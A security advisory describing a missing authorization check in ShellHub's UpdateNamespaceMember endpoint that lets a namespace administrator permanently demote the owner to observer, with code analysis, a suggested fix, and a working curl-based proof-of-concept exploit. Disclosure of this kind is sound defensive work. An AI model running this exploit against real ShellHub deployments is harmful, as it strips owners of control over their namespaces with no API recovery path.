BFLA in UpdateNamespaceMember: namespace administrator can permanently demote namespace owner
Description
UpdateNamespaceMember in api/services/member.go checks whether the caller has authority over the requested new role but never checks whether the caller has authority over the target member's current role. A namespace administrator can demote the namespace owner to observer with one authenticated PATCH request. The demotion cannot be reversed through the API: HasAuthority(RoleOwner) returns false unconditionally for all roles, including administrator. Restoring the owner role requires direct database access.
---
Details
The authorization check in UpdateNamespaceMember (api/services/member.go:123) reads:
if req.MemberRole != authorizer.RoleInvalid {
if !active.Role.HasAuthority(req.MemberRole) {
return NewErrRoleInvalid()
}
// ...
}This evaluates whether the caller can assign the new role, not whether the caller outranks the target's existing role. When an administrator sends {"role":"observer"} targeting the namespace owner, the check reduces to administrator.HasAuthority(observer), which is true. The owner's role is overwritten without any guard on their current role.
The correct pattern already exists in RemoveNamespaceMember in the same file (api/services/member.go:161):
if !active.Role.HasAuthority(passive.Role) {
return nil, NewErrRoleInvalid()
}RemoveNamespaceMember evaluates the target's current role. UpdateNamespaceMember should do the same but does not. The asymmetry is an oversight: HasAuthority was designed to prevent exactly this operation, as evidenced by its implementation in pkg/api/authorizer/role.go:103:
func (r Role) HasAuthority(passive Role) bool {
return passive != RoleOwner && r.code() >= passive.code()
}The first operand unconditionally returns false when passive == RoleOwner. Applied to the target's current role, it would block any role change targeting the owner. Applied only to the requested new role — as UpdateNamespaceMember does — it misses the attack entirely.
The demotion is permanent via the API for two reasons. First, any PATCH request setting role=owner fails: HasAuthority(RoleOwner) returns false for every role, including administrator, so the check at line 124 rejects it. Second, after demotion the former owner holds the observer role and lacks the NamespaceEditMember permission required to invoke the endpoint at all.
The role is not cached in the JWT. Nginx evaluates the auth subrequest on every HTTP request, reading the current role from the database. After demotion, the owner's next request returns HTTP 403 on all owner-exclusive operations. The AuthUncacheToken call at api/services/member.go:135 invalidates any session cache immediately after the write.
No middleware on the route compensates for the missing check. api/routes/routes.go:188 registers the handler with only RequiresPermission(authorizer.NamespaceEditMember), which administrators hold (pkg/api/authorizer/permissions.go:115). The member_role struct validator (pkg/validator/validator.go:124) accepts all four role strings including observer, and is not aware of the target member's current role.
The vulnerability is also present in the current main branch as of 2026-05-22.
---
Proof of Concept
Prerequisites: ShellHub stack running; attacker holds the administrator role in the target namespace.
# Step 1 — obtain owner and attacker tokens
TOKEN_OWNER=$(curl -s -X POST http://HOST/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"OWNER","password":"PASS"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
TOKEN_ATTACKER=$(curl -s -X POST http://HOST/api/login \
-H 'Content-Type: application/json' \
-d '{"username":"ATTACKER","password":"PASS"}' | python3 -c "import sys,json; print(json.load(sys.stdin)['token'])")
# Step 2 — resolve tenant and owner UID from the owner's JWT claims
TENANT=$(python3 -c "
import base64,json
p='$TOKEN_OWNER'.split('.')
print(json.loads(base64.urlsafe_b64decode(p[1]+'==='))['tenant'])")
OWNER_UID=$(python3 -c "
import base64,json
p='$TOKEN_OWNER'.split('.')
print(json.loads(base64.urlsafe_b64decode(p[1]+'==='))['id'])")
# Step 3 — THE ATTACK: administrator demotes the owner to observer
curl -s -w "\nHTTP %{http_code}\n" \
-X PATCH "http://HOST/api/namespaces/$TENANT/members/$OWNER_UID" \
-H "Authorization: Bearer $TOKEN_ATTACKER" \
-H 'Content-Type: application/json' \
-d '{"role":"observer"}'
# Expected 403. Actual: HTTP 200
# Step 4 — confirm lockout: owner cannot delete the namespace
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
-X DELETE "http://HOST/api/namespaces/$TENANT" \
-H "Authorization: Bearer $TOKEN_OWNER"
# → HTTP 403 (owner is now observer; NamespaceDelete requires owner role)
# Step 5 — confirm permanence: no API path restores the owner role
curl -s -o /dev/null -w "HTTP %{http_code}\n" \
-X PATCH "http://HOST/api/namespaces/$TENANT/members/$OWNER_UID" \
-H "Authorization: Bearer $TOKEN_ATTACKER" \
-H 'Content-Type: application/json' \
-d '{"role":"owner"}'
# → HTTP 400 or 403 (HasAuthority(RoleOwner) is false for all roles)Tested on the official Docker image shellhubio/api:v0.24.2 with PostgreSQL profile. Steps 3, 4, and 5 produced HTTP 200, 403, and 400 or 403 respectively on two independent runs.
---
Impact
An attacker who holds the namespace administrator role can permanently strip the namespace owner of all owner-exclusive permissions: deleting the namespace, managing billing, removing or demoting other administrators, and modifying core namespace settings. After the single PATCH request, the owner has observer privileges. The attacker retains administrator privileges and is the most privileged member reachable through the API. On hosted deployments where tenants lack database access, the original owner has no recovery path.
The attack requires the attacker to already hold the administrator role. That role is granted through normal namespace operations, making insider threat and social engineering the primary vectors. Only administrators (and owners) reach this endpoint; operators and observers lack the NamespaceEditMember permission required to invoke it.
---
Suggested Fix
In UpdateNamespaceMember (api/services/member.go), add the same authority check that RemoveNamespaceMember applies before allowing the role change:
if req.MemberRole != authorizer.RoleInvalid {
// Add: block changes targeting a member whose current role exceeds the caller's authority
if !active.Role.HasAuthority(member.Role) {
return NewErrRoleInvalid()
}
if !active.Role.HasAuthority(req.MemberRole) {
return NewErrRoleInvalid()
}
member.Role = req.MemberRole
}With this fix, administrator.HasAuthority(owner) returns false, and the endpoint behaves consistently with RemoveNamespaceMember.
The applied remediation additionally adds a symmetric self-target guard (active.ID == passive.ID) to RemoveNamespaceMember, so a member cannot remove themselves via the by-uid endpoint, which would otherwise bypass LeaveNamespace and its owner-without-successor protection.
---